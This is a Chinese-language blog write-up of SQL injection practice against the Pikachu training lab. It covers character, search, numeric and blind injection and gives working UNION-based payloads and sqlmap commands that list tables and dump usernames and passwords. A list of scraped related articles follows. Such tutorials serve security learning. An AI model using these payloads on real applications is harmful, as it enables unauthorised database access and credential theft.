这几天做了一个靶机里面有关于SQL注入漏洞,想着把SQL注入漏洞写一下,方便自己跟大家查看

什么是SQL注入漏洞

注入(SQLi)是一种注入攻击,可以执行恶意SQL语句。
它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器。
攻击者可以使用SQL注入漏洞绕过应用程序安全措施;
可以绕过网页或Web应用程序的身份验证和授权,并检索整个SQL数据库的内容;
还可以使用SQL注入来添加,修改和删除数据库中的记录。

SQL注入漏洞分类、以及基本测试流程。

一.字符型注入

1.通过单引号或者and方法测试是否有注入

kobe' 系统会报错

kobe' and 1=1# 正确

kobe' and 1=2# 错误

2.猜解一下sql语句模板的列数

kobe' order by 2#  正确

kobe' order by 3#  报错

证明SQL语句可以查询两列

3.测试回显位置

kobe' union select 1,2#

4.读取数据库数据

4.1 获取当前数据库名称和数据库版本

kobe' union select version(),database()#

5.5.53 版本

数据库名称 pikachu

4.2 获取表名称

kobe1' union select group_concat(table_name),'aaaa' from information_schema.tables where table_schema = 'pikachu'#

httpinfo,member,message,users,xssblind

4.3 对感兴趣的表,获取列名称

member

kobe1' union select group_concat(column_name),'aaaa' from information_schema.columns where table_schema = 'pikachu' and table_name = 'member'#

id,username,pw,sex,phonenum,address,email

4.4 获取账号密码数据

kobe1' union select group_concat(username),group_concat(pw) from pikachu.member#

二.盲注型注入(base on time)

1.第一步:抓包,并在注入点插入*标注

2.第二步:连接虚拟机、Xshell和kali,更改设置用本地IP进行pikachu的访问。

 3.1第三步:将抓包获取的文件放入Xshell中方便语句的输入执行

3.2根据二分法盲猜测数据库长度、数据库名和表名

3.2对注入点进行探测,查看是否插入成功

3.3利用sqlmap进行基于时间的盲注(利用命令T进行盲注)

4.利用sqlmap语句进行表名的获取、内容的获取

三.盲注型注入(base on boolian)

1.第一步,利用burpsuit抓包,将抓取的内容放在txt文件中并创建txt文件用于插入注入点

 2.第二步,爆出数据库名称,并利用length()猜测数据库名

执行语句:

Sqlmap -r 999.txt --technique=B  --dbms=mysql --string='恭喜'

3、爆出数据库中的表、以及表中的列

执行语句1:

sqlmap -r 999.txt --technique=B  --dbms=mysql --string='恭喜' -D pikachu --tables

执行语句2:

sqlmap -r 999.txt --technique=B  --dbms=mysql --string='恭喜' -D pikachu -T users  --columns

3.爆密码和用户名

执行语句:

sqlmap -r 999.txt --technique=B  --dbms=mysql --string='恭喜' -D pikachu -T users  -C username, password  -dump 

四.搜索型注入

1.第一步,通过单引号或者and方法测试是否有注入

 

  kobe and 1=1 正确   kobe and 1=2 错误

注意:搜索型闭合符号与字符型不同。

搜索行的闭合回路语句是:

 k%' and 1=1#

2.猜解一下sql语句模板的列数

k%' order by 3#
k%' order by 4#

当输入k%' order by 4#

会显示报错,所以在此搜索库中最多有三列

 3.测试回显位置

k%' union select 1,2#

 

4.读取数据库数据

k%' union select 1,version(),database()#

5, 获取表名称

 k%' union select group_concat(table_name),'aaaa','cc'from information_schema.tables where table_schema = 'pikachu'#

6, 对感兴趣的表,获取列名称

kobe%' union select "ccc",group_concat(column_name),'aaaa' from information_schema.columns where table_schema = 'pikachu' and table_name = 'member'#

7, 获取账号密码数据

 kobe%' union select group_concat(username),group_concat(pw),"aaa" from pikachu.member#

五.数字型注入

首先对源码分析:

前端获取的变量id未做任何处理,直接拼接到select语句中进行查询,形成sql注入。

打开pikachu的数字注入型,确认输入点是否存在注入,随便提交一个数

并进行抓包将抓到的数据包发送到repeat中,做测试。输入or 1=1,点击提交。发现用户的所有数据,说明在id=1处存在注入漏洞。

查询数据库的列数,输入order by 3报错

重新构造pyload ,输入order by 2,成功爆出当前查询数据库的列数

重新构造pyload,查看当前版本和数据库名称

重新构造pyload,获取表的名称

重新构造pyload,对感兴趣的表,获取列名称

获取账号和密码

member

union select group_concat(column_name),'aaaa' from information_schema.columns where table_schema = 'pikachu' and table_name = 'member'

4 测试结果

经过盲注型渗透,进行数据的猜测获取。注意:每种类型的注入符号都有所不同,需要反复尝试,来得到注入的符号。

什么是SQL注入漏洞,SQL注入漏洞的流程相关推荐

  1. ecshop 2.x/3.x sql注入/任意代码执行漏洞

    影响版本: Ecshop 2.x Ecshop 3.x-3.6.0 漏洞分析: 该漏洞影响ECShop 2.x和3.x版本,是一个典型的"二次漏洞",通过user.php文件中di ...

  2. SQL注入天书-ASP注入漏洞全接触

    引     言                 随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多.但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序 ...

  3. 安全漏洞之SQL注入和shell注入

    SQL注入 发生部位 SQL注入安全漏洞发生于应用程序和数据库之间. 原理 当攻击者在输入的字符串之中注入SQL指令,由于程序没有设置相关的字符检查,那么这些指令就会被数据服务器认为是正常的SQL指令 ...

  4. web漏洞-SQL注入漏洞、目录遍历漏洞、文件下载漏洞

    这里用到的是Pikachu漏洞练习平台 一.SQL注入漏洞-数字型注入 SQL注入漏洞简介 在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库 ...

  5. 注入漏洞-sql注入

     注入漏洞 注入漏洞 1 SQL注入 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行指定的SQL语句.具体来说,它是利用现有应用程序, ...

  6. Java安全-注入漏洞(SQL注入、命令注入、表达式注入、模板注入)

    文章目录 注入 SQL注入 JDBC拼接不当造成SQL注入 框架使用不当造成SQL注入 不安全的反射 命令注入 代码注入 表达式注入 Spel表达式注入 OGNL表达式注入 模板注入 注入 SQL注入 ...

  7. WEB漏洞——SQL注入之简要SQL注入

    前言 sql注入是比较常见的网络攻击方式之一, 他不是利用操作系统的bug来实现攻击,而是针对程序员编写时的疏忽,通过sql语句,实现无账号登录,甚至篡改数据库. sql简介 sql是一门ANSI的标 ...

  8. 【愚公系列】2023年05月 网络安全高级班 065.WEB渗透与安全(SQL注入漏洞-手工注入)

    文章目录 前言 一.SQL注入漏洞-手工注入 1.错误注入 2.布尔注入 2.1 通过`'or 1=1 --` 注入 2.2 通过`admin'or 1=1 --` 注入 3.联合注入 3.1 查看u ...

  9. 视频教程-SQL注入与SQLmap工具-漏洞挖掘与利用

    SQL注入与SQLmap工具 玄道,从混迹漏洞平台与SRC应急响应中心的白帽子到创业乙方的技术与运营 刘畅 ¥15.00 立即订阅 扫码下载「CSDN程序员学院APP」,1000+技术好课免费看 AP ...

  10. 13 WEB漏洞:SQL注入之MYSQL注入

    1.SQL简介: SQL 是一门 ANSI 的标准计算机语言,用来访问和操作数据库系统-.SQL 语句用于取回和更新数据库中的数据.SQL 可与数据库程序协同工作,比如 MS Access.DB2.I ...

最新文章

  1. Leangoo看板工具做投诉问题处理流程
  2. 无线信标功能调试-2021-3-9-HALL检测与主控接口
  3. 2019牛客暑期多校训练营(第五场)F - maximum clique 1 (最大团:补图最大独立集)
  4. r语言 回归分析 分类变量_R语言下的PSM分析分类变量处理与分析步骤
  5. 简单干净的C#方法设计案例:SFCUI.AjaxValue()之二
  6. 232接口针脚定义_VGA接口定义,详细图文资料
  7. 如何在IPv6下观看网络电视直播
  8. rfid考勤系统mysql_RFID智能考勤管理系统
  9. linux RDP 共享磁盘,USB Over Network - USB Server for Linux (RDP使用讀卡機殘念)
  10. 如何在Python中使用Rest API
  11. C语言:由键盘任意输入1个整形数据(小于10亿,位数不限),将其倒置,如:输入12345,则输出54321。
  12. 云呐|固定资产调拨流程(固定资产调拨需要哪些流程)
  13. 阿里云发布黑科技:面对海量的文本翻译任务,阿里翻译团队是如何解决的
  14. 如何辨别中标麒麟和银河麒麟
  15. a+++a和a+a++的区别
  16. 基于JAVA SSM框架的学校家长互动学习平台
  17. 鸿蒙app安卓版包,快手鸿蒙版下载-快手app鸿蒙版下载 v9.2.10.18677-apk3安卓网
  18. JDK1.8源码分析:阻塞队列LinkedBlockingQueue与BlockingDeque(双端)的设计与实现
  19. 十年磨一剑之我眼中的京东
  20. D1net阅闻:微信支付上线新一轮鼓励金活动

热门文章

  1. python代码接口实现
  2. 帮过网:选调生一年可以考几次
  3. 计算机硬件光驱的安装图片,计算机硬件之光驱.doc
  4. 项目中的复制问题 --- clipboard
  5. 全排列的java算法_全排列算法的java实现
  6. Windows11怎么打开设备管理器
  7. 求助,Mac更新系统至macOS Big Sur死机
  8. [转载]运行金山词霸2007死机问题
  9. ztree点击展开/收缩 按钮分级加载,解决数据量过大加载缓慢
  10. 《穷查理宝典:查理·芒格智慧箴言录》读书笔记